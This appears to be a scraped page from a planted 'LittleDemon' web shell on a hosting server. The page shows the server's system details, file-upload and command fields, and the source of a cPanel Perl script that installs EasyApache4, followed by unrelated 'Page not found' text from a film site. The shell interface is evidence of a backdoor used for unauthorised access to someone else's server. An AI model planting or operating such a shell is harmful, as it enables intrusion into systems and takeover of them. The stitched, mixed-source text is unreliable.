LittleDemon WebShell


Linux sh00002.bigrock.com 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
Path : /scripts/
File Upload :
Command :
Current File : //scripts/ea4_fresh_install

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/ea4_fresh_install               Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::ea4_fresh_install;

use strict;
use warnings;

use Cpanel::Config::Httpd::EA4     ();
use Cpanel::Install::EA4           ();
use Cpanel::Install::Utils::Logger ();
use Cpanel::Server::Type           ();
use IO::Interactive::Tiny          ();
use IO::Prompt                     ();

exit __PACKAGE__->script(@ARGV) unless caller();

sub script {
    my @ARGS = @_;

    # We don't take any arguments, so we need to print usage and exit
    return usage( $ARGS[1] ) if scalar @ARGS > 1;

    my $prompt_text = "This script is for installing EasyApache4 on a ";
    $prompt_text .= "system that has never had EasyApache4 installed.\n";
    $prompt_text .= "Do you wish to continue?";

    # We only run this in interactive mode because we want to prompt
    # the user to be sure they are certain of wanting to run this
    if ( !IO::Interactive::Tiny::is_interactive() ) {
        die "$0 is only effective when run interactively.\n";
    }

    if ( !IO::Prompt::prompt( $prompt_text . " [y/N]", -defaut => 'n', -yes_no ) ) {

        print "Exiting with no changes.\n";
        return 0;
    }

    if ( Cpanel::Config::Httpd::EA4::is_ea4() ) {
        die "EasyApache4 is already installed.\n";
    }

    if ( Cpanel::Server::Type::is_dnsonly() ) {
        die "EasyApache4 is not available on DNSONLY Servers.\n";
    }

    Cpanel::Install::Utils::Logger::init('/usr/local/cpanel/logs/ea4_fresh_intall.log');

    {
        # CPANEL_BASE_INSTALL ensures that Whostmgr::TweakSettings::Apache, etc., act appropriately while Apache is being installed.
        local $ENV{'CPANEL_BASE_INSTALL'} = 1;

        Cpanel::Install::EA4::install_apache_repo();

        Cpanel::Install::Utils::Logger::INFO("Installing EA4");
        Cpanel::Install::EA4::setup_config_and_fs_for_ea4();
        if ( !Cpanel::Install::EA4::install_apache() ) {
            Cpanel::Install::Utils::Logger::FATAL("Failed to install EA4");
        }
    }

    return 0;
}

sub usage {
    my ($arg) = @_;

    my $usage_text = "Run $0 to perform a fresh install of EasyApache4 on a system where EasyApache4 has never been installed.\n";
    $usage_text .= "Usage:  $0\n";

    # Not an error if they ar asking for help
    if ( $arg eq '--help' ) {
        print $usage_text;
        return 0;
    }
    else {
        die $usage_text;
    }
}

LittleDemon - FACEBOOK
[ KELUAR ]
Page not found – Sparkplug Films
Small totara tree on ridge above Long Point

Page not found

The page you are looking for doesn't exist, or it has been moved. Please try searching using the form below.